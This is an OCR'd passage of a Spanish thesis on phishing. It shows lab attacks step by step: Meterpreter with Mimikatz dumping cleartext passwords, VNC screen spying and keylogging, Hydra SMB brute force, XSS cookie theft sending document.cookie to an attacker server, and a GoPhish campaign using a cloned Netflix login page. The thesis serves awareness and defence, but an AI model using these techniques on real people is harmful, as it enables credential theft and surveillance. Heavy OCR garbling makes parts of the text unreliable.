livessp Attempt to retrieve livessp creds.
mimikatz_command Run a custom command.
msv Attempt to retrieve msv creds (hashes).
Attempt to retrieve ssp creds.
Attempt to retrieve tspke creds.

wdigest Attempt to retrieve wdigest creds.

Figura 63. Salida que indica que Mimikatz esta habilitado.

neterpreter > wdigest]

Figura 64. Obtener todos los usuarios y sus contrasefias con Mimikatz.

wdigest credentials

AuthID Package Domain User Password

0;997 Negotiate NT AUTHORITY SERVICIO LOCAL

0;996 Negotiate WORKGROUP EDWIN-PC$
NTLM
NTLM WORKGROUP EDWIN-PC$
NTLM Edwin-PC Edwin fanuel
NTLM Edwin-PC Edwin fanuel

Figura 65. Usuario y contrasefias en texto claro con Mimikatz.
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4.4.3. Espiar la pantalla del ordenador de la victima

Figura 66. Cargar los procesos ejecutados en el sistema vulnerado.

system32\taskhost,exe

1940 808 dwm.exe Edwin-PC\Edwin C:\Windows\
system32\Dwm, exe

1984 1932 explorer,exe Edwin=PC\Edwin C:\Windows\
Explorer, EXE

Edwin-PC\Edwin

SpPSVC, exe NT AUTHORITY\Servicio de red
svchost.exe 0 NT AUTHORTITY\SYSTEM

NT AU

Figura 67. Proceso que ejecutan en el sistema vulnerado.

Es posible cambiar de usuario desde Meterpreter, para conseguirlo cambiamos de

proceso a un proceso que este ejecutando el usuario que queremos utilizar.

meterpreter > migrate 2440
Migrating from 1056 to 2440 ..,
Migration completed successfully,

Figura 68. Migrar de proceso en Meterpreter.

neterpreter > getuid

Server username: Edwin-PC\Edwin

Figura 69. Obtener usuario que utiliza Meterpreter.
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Para espiar el comportamiento del usuario y ver todo lo que hace en su ordenador

lanzamos el vnc.

meterpreter > run vnc

Creating a VNC reverse tcp stager: LHOST=172.16.0.5 LPORT=4545
Running payload handler
VNC stager executable 73802 bytes long

Uploaded the VNC agent to C:\Users\Edwin\AppData\Local\Temp\1XImGGtF,exe (must be deleted m
anually)
Executing the agent with endpoint 172,16.0.5:4545 ...

Figura 70. Lanzar vnc desde Meterpreter.

Estamos viendo todo lo que hace el usuario.

T &L E B kali@kali: - C:edwi.. 0L:48AM O anlac

Archivo Acciones Editar Vista Ayuda
TightVNC: edwin-pc

& google.com/search?q=facebook8ioq=faliags=chrome.2.69i¢

Go gle facebook X

Aproximadamente 24.950.000.000 resultados (0.52 segundos)

es-es.facebook.com ~
Facebook - Entrar o registrarse

Crea unac

es-es.facebook com v
Facebook - Entrar o registrarse

nicia sesion en Facebook

a o inicia sesion en Facebook

on amigos, familiares y ofras persor

Crea una cu Comparte fotos y videos, envia

con amigos, familiares y otras persol que conoz

parte fotos y videos, enviar

que conc ) ) -
Iniciar sesion Inicio
Inicio book para Facebook. 215 mill. Me
Facebook. 215 m

Iniciar sesién

rtir y conectar Unete al tnico lugar

Unete al (nico lug

Entrar o registrarse Informacion
0 inicia sesion en Facebook, Men
1a con amigos Empresa de inte

e o ol¢m

>

Entrar o registrarse Informacién

nicia sesion en Facebook, Menio Park. 3,1 mil

Crea

con amigos Empresa de intemet en

36 Joal

ES ims i1 d5)

Figura 71. Espiando el comportamiento del usuario.

4.4.4. Capturar las pulsaciones de teclado del usuario

Para capturar las pulsaciones vamos a utilizar los comandos de interfaz de usuario de

Meterpreter de la opcion Stdapi.

neterpreter > help}

Figura 72. Verificar las opciones disponibles en Meterpreter.
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Stdapi:

Command

enumdesktops
getdesktop
idletime
keyboard_send
keyevent

o an d
keyscan start
keyscan_stop
mouse
screenshare
screenshot
setdesktop
uictl

User interface Commands

Description

List all accessible desktops and window stations

Get the current meterpreter desktop

Returns the number of seconds the remote user has been idle
Send keystrokes

Send key events

Start capturing keystrokes

Stop capturing keystrokes

Send mouse events

Watch the remote user's desktop in real time
Grab a screenshot of the interactive desktop
Change the meterpreters current desktop
Control some of the user interface components

Figura 73. Opcion Stdapi: comandos de interfaz de usuario de Meterpreter.

meterpreter > keyscan_star

T
Starting the keystroke snif

fer ...

Figura 74. Iniciar captura de teclado con keyscan_start.

Si en el sistema vulnerado accedemos al correo o pulsamos el teclado para agregar

cualquier informacién las pulsaciones de teclado seran enviadas a la maquina del

atacante.
‘ G Gmai X o+ = [
< C B accounts.google.com/signin/vZ/challenge/pwd?service=mail8ipassive=true&irm o Y (3

Google

Te damos la bienvenida

@ user.uah@gmail.com v

1t juce tu 3
" sessssse I @)
¢Has olvidado tu contrasefa?

007
27/08/2020

—l » =

el B

Figura 75. Capturando usuario y contrasefia de correo por pulsaciones de teclado.
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Para verificar la informacion obtenida por las pulsaciones de teclado de la victima

utilizamos keyscan_dump.

eterprete I > keyscan_dump
captured keystrokes ...

user,uan<MAYUSCULAS DERECHA>"gnail.compdmintfm

Figura 76. Obtener pulsaciones de teclado.

4.5. Identificar usuarios con fuerza bruta con Hydra

olkal; - BAPMO O A B[4 G

Kali@hal: - 0X
Kall@kali: ~ 100x17

Figura 78. Opciones de Hydra.
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Figura 79. Diccionarios con los usuarios y contrasefias para realizar la fuerza bruta.

Iniciamos la fuerza bruta cargando los diccionarios de datos, la ip 172.16.0.18 es el

equipo al que vamos a realizar la fuerza bruta y el protocolo es smb.

79 12 @ 18

|
fTEhaviVidy i

9,0 (c) 2019 by van Hauser/THC - Please do not use in military or secr
ogal purposes.
g1thub,com/vanhauser-the/the-hydra) starting at 2020-08-23 15:

jumber ot task 1 (smb does not Like parallel connections)

(Li7/pi6), ~&2

Figura 81. Usuario y contrasefia encontrado con Hydra.
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4.6 Robo de cookies con XSS (Cross Site Scripting)

Para el robo de cookies con XSS, vamos a inyectar codigo malicioso en el navegador

de la victima, utilizando cédigo JavaScript en la maquina vulnerable (DVWA).

Home | Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |

Setup | What's your name?

Brute Force Submit

Command Execution

p— More info

File Inclusion

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|
|

XSS stored

DVWA Security |

PHP Info |

About |

Logout |

Figura 82. Panel de maquina vulnerable DVWA.

B EROS| B kali@kali:fvar www/htm 45TAMD ¢ A B[Q G

kali@kali: fvar/www/html S a0

Archivo Acciones Editar Vista Ayuda

vt /html $
cookies.txt file-scripting get-cookies.php | index.html

Figura 83. Lista de archivos para realizar ataque XSS.
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:/var/wm/html$ cat get-cookies.php
<?php

noa_m

$cookie_manager=fopen("cookies.txt","a");

fputs($cookie_manager,"\n".$_GET["cookie"]."\n");
fclose($cookie_manager);
7>

Figura 84. Configuracion para la recepcion de cookies.

: [var/wm/htnl$ cat cookies.txt

Figura 85. Almacén de cookies.

s/var/ww/html$ cat file-scripting.txt

<script>let img=new Image();img.src="http://17; ] ie="+document. cook
ie;¢/script>

Figura 86. Script para lazar en el navegador de la victima.

El codigo JavaScript que se inserta en el input prepara el ataque XSS, cuando se envia

se inserta en el navegador de DVWA para simular el ataque.

Home . Vulnerability: Reflected Cross Site Scripting (XSS)
Instructions |
Setup | What's your name?

Submit

M+document.cookie; </script=
Brute Force

Command Execution

p— More info

File Inclusion

SQL Injection (Blind)

Upload

|
|
|
|
SQL Injection |
|
|
|

Figura 87. Preparacion de ataque XSS.
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El cédigo JavaScript se inserta en la url del navegador de la victima, para ejecutar la

instrucciéon que le indica el atacante y enviar las cookies.

<) DamnVulnerableWeb 2 X

= C @ @ fname=<script>let+img%3Dnew+image()%3Bimg v -+ © ¥ - >

Kali Linux Kali Training Kali Tools ¢ Kali Docs Kali Forums NetHunter

Figura 88. Insercion de codigo JavaScript en el navegador.

«[var/wwi/html$ cat cookies.txt

PHPSESSID=q51rlupbcs3ddolon840i6nt15; security=low

Figura 89. Cookies de sesion recibida en la maquina del atacante.
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Las campanas de phishing consisten en el envio de correo masivo y permiten a los
phisher tener mayor probabilidad de éxito, pues en la mayorfa de las campafas se le
pide a la victima que acceda a un sitio de confianza y se manipula facilmente a los
usuarios desprevenidos que proporcionan informacion sensible, la cual es capturada

por el atacante.

5.1. Clonar un sitio web con HT Track

HTTrack es una herramienta que nos permite clonar un sitio en pocos segundos y
luego podemos utilizar la pagina clonada para redirigir a la victima a un sitio
controlado por el atacante, haciendo pensar a la victima que esta en el sitio web

legitimo y robatle su informacién sin que sospeche nada.

Clonar el sitio web de Netflix y guardarlo en la carpeta HTML del servidor.

Ck ttps: // wai.netfL1x.con/es/login -0 /var/w/htnl/

Jdo 1fconfig
ethd: flag : ROANCAST, RUNNING, MULTICAST> mtu 1500
netmask 255.255.0.0 broadcast 172.16,255.255
ot £d17:625¢:1037:1000:200:27¢f:fe2b:1a99 pretixlen 64 scopeid

Figura 92. Configuracion del servidor con el sitio clonado.
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Al acceder al servidor del atacante la victima verfa una réplica exacta del sitio web

original.

Pa @ Netflix X -+

r

¢ X A Noesseguro | 172.16.0.13

Iniciar sesion

Iniciar sesion

Recuérdame ; Necesitas ayuda?

Suscribete ya

@@ O Escribe aquf para buscar i mE = 9

Figura 93. Acceso al sitio web clonado.
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5.2. Crear campafia de phishing con GoPhish

GoPhish es una herramienta que nos permite realizar compafias de phishing

automatizadas para el envio masivo de correo.

O gophish &admin - @

Dashboard

Campaigns
Users & Groups
No campaigns created yet. Let's create one!
Email Templates
Landing Pages
Sending Profiles

Account Settings

User Management

66

Webhooks

User Guide

API Documentation

Figura 94. Panel principal de GoPhish.

@ gophiSh dadmin @

Users & Groups

Campaigns

m

Email Templates

> Show 1 entries Search:
Landing Pages =t

: Name #of Members Modified Date
Sending Profiles

Goup-Email 1 August 18th 2020, 6:52:25 am
Account Settings

User Management [ Admin } Showing 1to 1 of 1 entries Prev n Nex
Webhooks a
User Guide

API Documentation

Figura 95. Grupo de usuarios seleccionados para la campafa.
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New Group

Name:

Goup-Email

% Bulk Import Users

Show 10 entries

First Name E Last Name

Showing 0 to 0 of 0 entries

testgoghish@outﬂ ‘ m

Search:

Email Position

No data available in table

Previous Next

_ ; Save changes

Figura 96. Agregar nuevos usuarios a la compaia.

gophish

Email Templates

Campaigns

Users & Groups
+ New Template

Email Templates

Show 44 entries
Landing Pages

. Name -
Sending Profiles

Netflix-Template
Account Settings

User Management (L0 Showing 1to 1 of 1 entries

Webhooks [ Admin }

Search:

Modified Date

August 18th 2020, 7:11:08 am
g
Previous Next

Figura 97. Plantillas de correos para las compafas de phishing.
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GoPhish permite crear plantilla de texto y en formato html, que permite crear correos
idénticos a los enviados por las instituciones y empresas.

New Template

Mame:

Metflix-Template

i Import Email

Subject:

Inicio de sesion no autorizado

Text HTML
REL ~ &2 || [o) Source | [Q
<html:>
<head>
<title></rtitle>
</head>
<body style="margin: 0px auto;
text-align: center;">
<p»<a href="https://www.nectflix.com/es/login?

nextpage=hRttps:3niZFi2Fwww.netflix. comt2Forowse"»<img alc=""

Figura 98. Cédigo html para la plantilla de correo.
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Nuevo inicio de sesion en Netflix.

Nuevo micio de seston en Netflix
Hola:

Hemos observado que se ha iniciado una nueva sesion en tu cuenta de Netflix.

Dispositivo
Tableta Android

Ubicacion
Provincia de Soria, Esparia

S1 has mnictado una sesion recientemente, no tienes de qué preocuparte.

Pero st no reconoces este inic1o de sesion, te recomendamos que [nicte sesion de inmediato para proteger tu cuenta.

Estamos aqui para ayudarte cuando lo necesttes. Visita el Centro de ayuda

s1 quieres mas mformacion o ponte en contacto con nosotros.
El equipo de Netflix

Figura 99. Prueba de plantilla que visualizara el usuario.

gophish
Landing Pages

Campaigns

Users & Groups
% New Page

Email Templates

) Show| 4, entries
Landing Pages
r'y

. Name Last Modified Date
Sending Profiles

Netflix-LandingPage August 18th 2020, 7:12:48 am
Account Settings

User Managementm Showing 1to 1of 1 entries

Figura 100. Paginas controladas por el atacante.

Search:

nn
Previous Next
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Esta es la pagina que le vamos a mostrar al usuario cuando haga clic en nuestro enlace
malicioso. Aqui podemos importar la pagina de Netflix, que hemos clonado con
HTTrack.

New Landing Page

Name:

Netflix-LandingPage

@ Import Site

HTML

=Z || [ Source || [Q

nextpage=httpst3AL2FtZfwww.n
content="text/htmil
C ible content="

Capture Submitted Data @
Capture Passwords

Figura 101. Carga de un sitio web clonado o controlado por el phisher.

Después de capturar la informacién del usuario, redirigimos al sitio originar de Netflix

para que no sospeche nada.

Redirectto: @
https://www.netflix.com/es/login?nextpage=https%3A%:2F%2 Fwww.netflix.com%2Fbrowse

Figura 102. Redireccion al sitio web originar.
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Los perfiles de correos que se utilizaran en las campanas de phishing.

@gophish —
Sending Profiles

Campaigns

Users & Groups
= New Profile

Email Templates

Show| 44 entries

. Search:
Landing Pages

. Name Interface Type Last Modified Date
Sending Profiles
Perfil-1 SMTP August 18th 2020, 7:13:26 am &
Account Settings

User Management(ZIL) Showing 1 to 1 of 1 entries Previous Next

Webhooks [ Admin ]

Figura 103. Email para lanzar campafia de phishing.

Configuracion SMTP para el correo que se utiliza para realizar la campana de
phishing.

New Sending Profile

Mame:
Perfil-1
Interface Type:

From:

Netflix <info@mailer.netflix.com>

Host:

smtp.gmail.com:587

Username:

tim2810@gmail.com

Password:

a lgnore Certificate Errors @

Figura 104. Configuracion SMTP para correos Gmail.
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@ gophish
Campaigns
= New Campaign

Email Templates

Lerifg Rages Active Campaigns Archived Campaigns

Sending Profiles

Account Settings Show| 10 entries Search:

User ManagementqZEED Name Created Date ~ Status

Webhooke Netflix August 18th 2020, 7:14:45 am In progress
Showing 1 to 1 of 1 entries Previous Next

Figura 105. Compafias de phishing programadas.

Para lanzar una nueva compafa de phishing cargamos los archivos configurados en

los pasos anteriores y agregamos el grupo de correo al que vamos a lanzar la campafia.

New Campaign

Name:
Metflix
Email Template:
Metflix-Template
Landing Page:
Metflix-LandingPage
URL: @
http://127.0.0.1
Launch Date Send Emails By (Optional) @

August 30th 2020, 2:58 pm

Sending Profile:
Perfil-1 -
Groups:

* Goup-Email

f Launch Campaign

Figura 106. Lanzar campafa de phishing.
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BN,

En el panel principal se puede ver la cantidad de correos enviados y la evolucion de la

campana.

Dashboard

Email
Reported

Campaigns
Users & Groups L .
Phishing Success Overview
. 100
Email Templates
g r
Landing Pages ER Tuesday, Aug 18 7:14:45 am
o Netflix
;‘2 % Success: 0%
Sending Profiles
0 .
07:14:45.744
Account Settings
Email Sent Email Clicked Submitted
User Management Opened Link Data
Webhooks [ Admin ]
1 0
User Guide
Figura 107. Resultado de compaia.
_ p il
3l Mensaje nuevo [ Eliminar & Archivo  (© No deseado  Limpiar 23 Movera © Posponer
>  Favoritos @ & Prioritarios Filtrar Inicio de sesion no autorizado
~ Netflix Netflix <tfm2810@gmail.com>
Vi Carpetas ~’ Inicio de sesion no autorizado 714 Mar 18/08/2020 7:14
Nuevo inicio de sesion en Netflix. Nuevo inicio de sesion en Netflix Hola: H.., Para: Usted
2 Bandeja de entrada 1

Correo no deseado
Borradores
B Elementos enviados
[ Elementos eliminados
Archivo
Notas

Historial de conversaciones

v Grupos

Q a Microsoft 365
icas de
nium
2 B &£

Outlook.com Team

Equipo de Outlook
ksta es una ta

ola, TFM

nida a la nueva

Figura 108. Correo que recibe la victima.

gn in and validat..

Nuevo inicio de sesion en

n and validat.

Netflix.

Nuevo inicio de sesion en Netflix

Hola:

Hemos observado que se ha iniciado una nueva sesion en tu cuenta

de Netflix.

Dispositivo
Tableta Android
Ubicacion

Provincia de Soria, Espaiia
Si has iniciado una sesion recientemente, no tienes de qué

preocuparte.

Pero si no reconoces este

nicio de sesion, te recomend

que |nicie sesion de inmediato para proteger tu cuenta,

i3

si quieres mas informacion o ponte en contacto con nosotros.

Estamos aqui para ayudarte cuando lo necesites. Visita

<&
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Cuando el usuario haga clic para iniciar sesiéon sera redirigido a la pagina web del

atacante para capturar sus datos.

Iniciar sesion

Figura 109. Redireccion al sitio clonado.
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6. Resumen y Conclusion

6.1. Resumen

Cada dfa mas personas y empresas necesitan estar conectados a internet, de esta
dependencia se aprovechan los phishers, quienes sacan ventaja de cualquier situacion
posible para suplantar la identidad de los usuarios a través del uso de ingenieria social
o explotando vulnerabilidades en los sistemas que utilizan las victimas, que en las
mayorias de los casos tienen poca o ninguna experiencia de como protegerse en

internet.

Las diferentes técnicas utilizadas por los ciberdelincuentes hacen que sea aun mas
dificil detectar los tipos de ataques, pues conforme las empresas dedicada a la
seguridad informatica implementan mas seguridad en sus sistemas y servicios de
correos, los delincuentes van cambiando sus estrategias y adaptaindose a los tiempos

convirtiendo el phishing en una amenaza multiforme.

Abstract

Every day more people and companies need to be connected to the internet, phishers
take advantage of this dependence, who take advantage of any possible situation to
impersonate the identity of users through the use of social engineering or exploiting
vulnerabilities in the systems that use the victims, who in most cases have little or no

experience of how to protect themselves on the internet.

The different techniques used by cybercriminals make it even more difficult to detect
the types of attacks, because as companies dedicated to computer security implement
more security in their systems and mail services, criminals are changing their strategies

and adapting to the times, converting phishing is a multifaceted threat.
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6. Resumen y Conclusion

6.2 Conclusion

Las herramientas utilizas para realizar este trabajo y poder simular las actividades
realizadas por los phishers, nos permiten ver los posibles vectores de entradas de un
ataque real, tener un panorama claro de cémo operan los ciberdelincuentes para

suplantar la identidad de los usuarios y asi saber como protegernos.

En todo esto tiene un papel muy importate la capacidad cognitiva de los usuarios
frente a los escenarios planteados por los phishers, que son especialistas en jugar con
las emociones de las personas para sacar provecho, por eso al navegar por internet
cuando ser reciben ofertas, nos piden que realicemos acciones urgentes o que
agreguemos informacién sensible, hay que estar alerta podriamos estar siendo

atacados.

“No hay sistemas seguros, si quienes lo utilizan no estan capacitado para utilizarlo”.

6.3 Trabajo Futuro

Continuando con esta misma linea de investigacion un posible proyecto podria ser
“Medir las poblaciones mas afectadas por el phishing”. Para saber en base a

poblaciones agrupadas por edad, cuales son las mas vulnerables.
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APENDICE. GLOSARIO







A

APWG (Anti-Phishing Working Group). Consorcio internacional que reune los datos de empresa
afectadas por ataques de phishing.

B

Cibercriminal. Individuo que utiliza internet para cometer delitos.

D

DNS. Sistema de nombre de dominio.

E

Exploit. Secuencia de comandos o acciones, utilizada con el fin de aprovechar una vulnerabilidad en

un sistema.

H

Host. Computadora o dispositivos conectados a una red.

IDN. Nombre de dominio internacionalizado.

Ingenieria Social. Es la ciencia de obtener informacioén confidencial a través de la manipulacién de

los usuatios.

M

Malware. Es un programa malicioso o dafiino.

Metasploit. Proyecto de seguridad informatica, que permite explotar las vulnerabilidades de

sistemas.

@)

OSI. Oficina de Seguridad del Internauta

P

Payload. Es la carga util, es decir, es el conjunto de datos transmitidos que es en realidad el mensaje

enviado.

Phisher. Ciberdelincuente dedicado a suplantar la identidad de los usuarios.




S

SaaS (Software as a Service). Es un tipo de aplicacion alojada en la nube con la que se puede

interactuar a través de internet.
Shell. Es una interfaz creada para interactuar con el nicleo de sistema operativo.

Spam. Hacen referencia a los mensajes de correos no solicitados, no deseados o con remitentes

desconocidos.

T

Troyano. Es un malware que, al ejecutarlo da al atacante acceso remoto al equipo infectado.

Wikipedia







